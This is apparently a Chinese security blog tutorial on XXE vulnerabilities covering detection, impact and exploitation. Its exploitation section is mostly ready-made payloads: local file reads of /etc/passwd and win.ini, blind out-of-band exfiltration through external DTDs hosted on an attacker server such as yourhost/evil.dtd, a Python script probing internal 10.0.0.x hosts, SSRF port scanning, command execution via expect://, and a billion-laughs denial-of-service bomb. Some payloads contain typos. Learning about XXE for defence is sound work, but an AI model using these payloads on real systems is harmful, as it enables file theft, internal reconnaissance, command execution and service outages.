(39.2)【XXE漏洞专题】XXE原理、产生、检测、危害、利用、示例

目录

零、推荐:

一、简介:

二、原理:

三、产生的原因:

四、漏洞检测:

4.1、白盒:

4.1.1、函数/可控变量的查找

4.1.2、传输/存储数据格式类型

4.2、黑盒:

4.2.1、数据格式类型判断

4.2.2、content-type值判断

五、危害:

六、xxe绕过

七、利用:

7.1、任意文件读取

7.1.1、原理:

7.1.2有回显:

7.1.3、无回显:

(1)示例一:

(2)示例二:

(3)示例三:

(4)示例四:

7.2、HTTP 内网主机探测

7.2.1、前提:

7.2.2、读取

7.2.3、示例

7.3、开放端口扫描

7.3.1、读取配置文件

7.3.2、发送请求

7.3.3、注:

7.4、远程代码执行

7.4.1、前提:

7.4.2、属性:

7.4.3、示例:

7.5、拒绝服务攻击

7.5.1、原理:

 7.5.2、a billion laughs attack

八、下一期:


 (日月同辉,黑暗中寻找光明)


零、推荐:

【XML漏洞专题】必备的基础知识、利用原理、构建规则icon-default.png?t=M3K6https://blog.csdn.net/qq_53079406/article/details/124360513?spm=1001.2014.3001.5502

一、简介:

XXE(XML External Entity),顾名思义,XML传输数据时,利用构造包含恶意语句的外部实体,通过XML解析去执行恶意代码


二、原理:

XML数据在传输过程中,攻击者强制XML解析器去访问攻击者指定的资源内容(本地/远程),外部实体声明关键字'SYSTEM'会令XML解析器读取数据,并允许它在XML文档中被替换,构造恶意的值,去执行

XML解析方式:DOM,SAX,JDOM,DOM4J,StAX……都可能会出现外部实体注入漏洞


三、产生的原因:

低版本php

libxml<2.9.1

设置了libxml_disable_entity_loader为FALSE


 

四、漏洞检测:

4.1、白盒:

4.1.1、函数/可控变量的查找

eg:

分析XML解析器设置,DOM,JDOM,DOM4J,SAX等方式对XML的解析设置

如果默认禁止使用外部实体,基本上xxe就没了

4.1.2、传输/存储数据格式类型

eg:

<user>xxx</user>

<password>xxxx</password> 

4.2、黑盒:

4.2.1、数据格式类型判断

页面存在xml调用(一般会加密)

带参数的地方,分析accept头部有没有xml格式的提交数据(eg:application/xhtml+xml)

支持xml,再测参数(类似SQL注入),POST提交代码

修改传输数据类型,寻找加密的js函数,把json改成xml,再添加xml数据

尝试,试json会不会造成xxe

4.2.2、content-type值判断

抓取数据包,看accept头是否接受xml,content-type的值是不是  text/xml  或者 application/xml,

盲猜,更改content-type值application/xml分析返回


五、危害:

攻击者会将payload注入XML文件中,一旦文件被执行,将从本地完成到各种服务的执行,也就是说,如果存在XXE漏洞,那么就能够一定程度上绕过防火墙和过滤。

— — — — — —

任意文件读取

系统命令执行

执行远程代码

拒绝服务攻击

内网端口探测

攻击内网网站

钓鱼


六、xxe绕过

相似协议替换

实体编码绕过

……


 

七、利用:

7.1、任意文件读取

7.1.1、原理:

因为外部实体支持伪协议,利用伪协议进行读取

利用XXE漏洞读取目标文件内容,读取/etc/password文件

xml协议不支持命令执行,php协议可以,具体命令执行根据协议功能确定

— — — — — —

7.1.2有回显:

通过外部实体调用file://函数读取本地文件,或建立DTD文件进行远程调用

(后面要填写当前文件夹与目标文件夹的相对路径)

— — — — — —

读取本地文件

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE foo [
<!ENTITY file SYSTEM  "file:///c:/windows/win.ini">]>
<user>
  <password>&file;</password>
</user>

(foo相当于自己命名的函数名,没什么实际意义)
 

— — — — — —

建立DTD文件进行远程调用

  <!DOCTYPE foo [
  <!ENTITY  % xxe SYSTEM "http://192.168.1.2/xxe/evil2.dtd" >
  %xxe;]>
  <foo>&evil;</foo>
  
  其中外部链接的evil.dtd中内容为:
  <!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >

— — — — — —

7.1.3、无回显:

XXE有回显就直接利用,反之,就要利用Blind_OOB_XXE,eg:外部DTD文件

建立一个dtd文件,将.dtd文件存在远程服务器(或VPS)上

恶意执行代码被服务器处理,向攻击者远程服务器发送请求,查找恶意的DTD文件

服务器获取该文件并执行其中的恶意命令

(1)构建一条带外信道提取数据

(2)将文件内容发送到远程服务器,然后读取

(3)读取文件,并发送到服务器的上

(1)示例一:

通过创建index.php来构建一条带外信道提取数据

//创建test.php

<?php 
file_put_contents("test.txt", $_GET['file']) ; 
?>
— — — — — —

//创建index.php

<?php 
$xml=<<<EOF 
<?xml version="1.0"?> 
<!DOCTYPE ANY[ 
<!ENTITY % file SYSTEM "file:///C:/test.txt"> 
<!ENTITY % remote SYSTEM "http://localhost/test.xml"> 
%remote;
%all;
%send; 
]> 
EOF; 
$data = simplexml_load_string($xml) ; 
echo "<pre>" ; 
print_r($data) ; 
?>
— — — — — —

//创建test.xml

<!ENTITY % all "<!ENTITY % send SYSTEM 'http://localhost/test.php?file=%file;'>">

当访问index.php时,服务器(存在漏洞)会读取text.txt,并发送给攻击者服务器上的test.php,并把读取的数据保存到本地的test.txt中。

(2)示例二:

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://192.168.18.23/xxe/xxe2/test.dtd">
%remote;%int;%send;
]>
— — — — — —

//三个参数实体 %remote;%int;%send

%remote 调用后请求远程服务器上的 test.dtd(相当于包含)

%int 调用 test.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,

将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 %)

再调用 %send,数据发送到我们的远程 vps 上

— — — — — —

test.dtd(进行了base64编码)

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windwos/win.ini">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.18.23?p=%file;'>">

查看数据日志文件信息(知道日志存储的位置),第二个请求文件内容包含我们的命令,可以看到base64编码后的数据,也确认了OOB XXE漏洞的存在。

编码也是为了不破坏原本的XML语法,不编码会报错。

(3)示例三:

可以将文件内容发送到远程服务器,然后读取

<?xml verstion="1.0" encoding="utf-8"?>
<!DOCTYPE a[
        <!ENTITY % f SYSTEM "http://yourhost/evil.dtd">
        %f;
]>
<a>&b;</a>
$data = simplexml_load_string($xml);
print_r($data);
 

— — — — — —

evil.dtd(远程服务器)

<!ENTITY b SYSTEM "file:///etc/passwd">

(4)示例四:

先使用php://filter获取目标文件的内容

将内容以http请求发送到接收数据的服务器(攻击服务器)

<?xml version=”1.0”?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php"> # /etc/issue
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/evil.dtd">
%dtd;
%send;
]>
— — — — — —

//evil.dtd

(%号要进行实体编码成&#x25)

<!ENTITY % all
“<!ENTITY &#x25; send SYSTEM ‘http://xxx.xxx.xxx/?%file;’>”
>
%all;
 

有报错直接查看报错信息

无报错访问目标服务器的日志信息,经过base64编码过的数据,对其解码

— — — — — —

7.2、HTTP 内网主机探测

7.2.1、前提:

存在 XXE 漏洞的服务器

— — — — — —

7.2.2、读取

先利用 file 协议读取存在XXE漏洞服务器的网络配置文件

eg(Linux): /etc/network/interfaces 或 /proc/net/arp 或者/etc/host 文件

— — — — — —

7.2.3、示例

(需要基础的python知识,科班应该都没什么问题)

//(调用自己编写的请求和编码模块)

import requests
import base64

— — — — — —

//(1)定义创建XML的函数build_xml

def build_xml(string):
    xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
    xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
    xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
    xml = xml + "\r\n" + """<xml>"""
    xml = xml + "\r\n" + """    <stuff>&xxe;</stuff>"""
    xml = xml + "\r\n" + """</xml>"""
    send_xml(xml)

— — — — — —

//(2)定义发送自定义函数send_xml(数据、编码…)

def send_xml(xml):
    headers = {'Content-Type': 'application/xml'}
    x = requests.post('http://110.110.110.110/CUSTOM/NEW_XEE.php', data=xml, headers=headers, timeout=5).text
    coded_string = x.split(' ')[-2]         //分开以获取Base64编码值
    print coded_string        //打印base64编码值
for i in range(1, 255):        //循环
    try:
        i = str(i)
        ip = '10.0.0.' + i
        string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
        print string
        build_xml(string)
    except:
continue

— — — — — —

7.3、开放端口扫描

7.3.1、读取配置文件

通过URL将请求指向/etc/passwd配置文件,并返回文件内容

7.3.2、发送请求

使用URL强制服务器向指定端口发送GET请求(SSRF服务器端请求伪造)

尝试与端口建立连接,根据响应时间/长度判断端口是否开启

<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >]>
<catalog>        <!--看注(2)-->
   <core id="test1">        <!--看注(3)-->
      <author>mike</author>
      <title>XML</title>
      <category>root</category>
      <price>30.00</price>
      <date>2022-05-01</date>
      <description>&xxe;</description>
   </core>
</catalog>

<!--英文看注(1)-->

7.3.3、注:

(1)英语注释

author作者、title标题、category类别、price价格、date日期、description描述

— — — — — —

(2)XML-Catalog

XML-Catalog 关于 XML 文件如何引用外部资源的控制

XML Catalog 是由来自一个或者多个 catalog 条目文件组成的 xml 文件,其保存了要校验的 xml 文件以及对应的 xsd 文件的映射,运行时自动将它们关联起来,从而实现对 xml 文件的校验

— — — — — —

(3)XML-core

XML-core是一组类,可以更轻松地使用浏览器和节点中的XML。我们希望能够在浏览器中验证Xades,具体所以我们可以验证欧盟信任列表上的签名。

— — — — — —

7.4、远程代码执行

7.4.1、前提:

存在XXE漏洞

PHP expect被加载到脆弱的系统或XML处理器上

expect:// — 处理交互式的流,由 expect:// 封装协议打开的数据流 PTY 通过提供了对进程 stdio、stdout 和 stderr 的访问。

— — — — — —

7.4.2、属性:

允许读取Yes
允许写入Yes
允许添加Yes

— — — — — —

7.4.3、示例:

<?xml version="1.0"?>
<!DOCTYPE GVI [ 
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>        <!--看注(2)-->
   <core id="test1">        <!--看注(3)-->
      <author>mike</author>
      <title>XML</title>
      <category>root</category>
      <price>30.00</price>
      <date>2022-05-01</date>
      <description>&xxe;</description>
   </core>
</catalog>

<!--英文看注(1)-->

— — — — — —

7.5、拒绝服务攻击

7.5.1、原理:

大多数XML解析器在解析XML文档时会将其保留在内存中,如果构造恶意的XML实体文件,以耗尽服务器的可用内存,造成了拒绝服务器攻击。

— — — — — —

 7.5.2、a billion laughs attack

介绍:

是一种 denial-of-service(DoS)攻击,它主要作用于XML文档解析器。它也被称为指数实体扩展攻击,是一种名副其实的XML炸弹。

— — — — — —

原理:通过恶意创建一系列递归的XML定义,在内存中产生上十亿的特定字符串,并被XML解析器保留在内存中,以耗尽服务器可用内存,从而造成拒绝服务攻击。

— — — — — —

在XMl中定义了一个实体lol9,它的值包含了十个实体lol8的值

而每个lol8又包含了十个lol7的值

……

最后产生10亿个“lol”字符串,占用内存约高达3GB。

<?xml version="1.0"?>
 <!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
 ]>
 <lolz>&lol9;</lolz>
 


八、下一期:

将推出靶场题目 

  • 4
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

黑色地带(崛起)

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值